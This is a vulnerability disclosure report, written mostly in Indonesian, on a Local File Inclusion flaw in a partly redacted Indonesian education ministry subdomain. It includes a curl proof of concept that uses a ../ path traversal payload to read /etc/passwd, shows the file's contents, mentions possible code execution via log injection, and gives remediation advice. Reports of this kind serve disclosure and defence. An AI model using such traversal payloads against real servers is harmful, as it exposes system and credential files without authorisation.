

VULNERABILITY ASSESSMENT REPORT

STATUS: **CENSORED VERSION**

CLASSIFICATION:

CONFIDENTIAL

Local File Inclusion (LFI) Discovery

Target System: https://[REDACTED]-bpti.kemdikbud.go.id
Vulnerability Type: Local File Inclusion (LFI) / Path Traversal
Severity: **HIGH (CVSS 8.1)**
Researcher: Muhammad Abdi (Shadow)
Date of Discovery: Juni 2026 (Censored Archive)

1. EXECUTIVE SUMMARY

Laporan ini mendokumentasikan temuan kerentanan keamanan kritis berupa **Local File Inclusion (LFI)** pada subdomain milik Balai Pengembangan Talenta Indonesia (BPTI) Kemendikbud. Eksploitasi terhadap celah ini memungkinkan pihak luar yang tidak berwenang untuk membaca berkas sensitif di dalam server internal, yang berpotensi mengungkap kredensial konfigurasi, berkas sistem, atau informasi sensitif lainnya.

2. VULNERABILITY DETAILS

Parameter Rentan: ?page= / ?file= (Terdeteksi via sanitasi input tidak sempurna)

Dampak Potensial: Pengungkapan informasi sensitif (Information Disclosure), pembacaan file sistem (/etc/passwd), dan potensi Remote Code Execution (RCE) jika dikombinasikan dengan teknik log injection.

3. PROOF OF CONCEPT (POC)

Pengujian dilakukan dengan mengirimkan payload path traversal standar untuk melewati pembatasan direktori dan mengakses berkas dasar sistem operasi Linux yang berada di server target.

Terminal - Exploit Payload Execution

```
$ curl -s "https://[REDACTED]-bpti.kemdikbud.go.id/index.php?page=../../../../../../../../etc/passwd" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

Berdasarkan hasil respons terminal di atas, server mengembalikan isi dari berkas /etc/passwd secara transparan. Hal ini mengonfirmasi bahwa parameter tidak melakukan validasi atau stripping terhadap karakter penunjuk direktori atas (../).

4. REMEDIATION & RECOMMENDATIONS

Untuk memitigasi risiko ini, direkomendasikan untuk menerapkan langkah-langkah perbaikan berikut dengan segera:

- Implementasikan **White-listing** yang ketat untuk berkas-berkas yang diizinkan dimuat oleh aplikasi.
- Gunakan fungsi bawaan bahasa pemrograman seperti `basename()` untuk mengekstrak nama file saja dan membuang jalur direktori.
- Matikan opsi prapemrosesan eksternal yang berbahaya jika tidak diperlukan.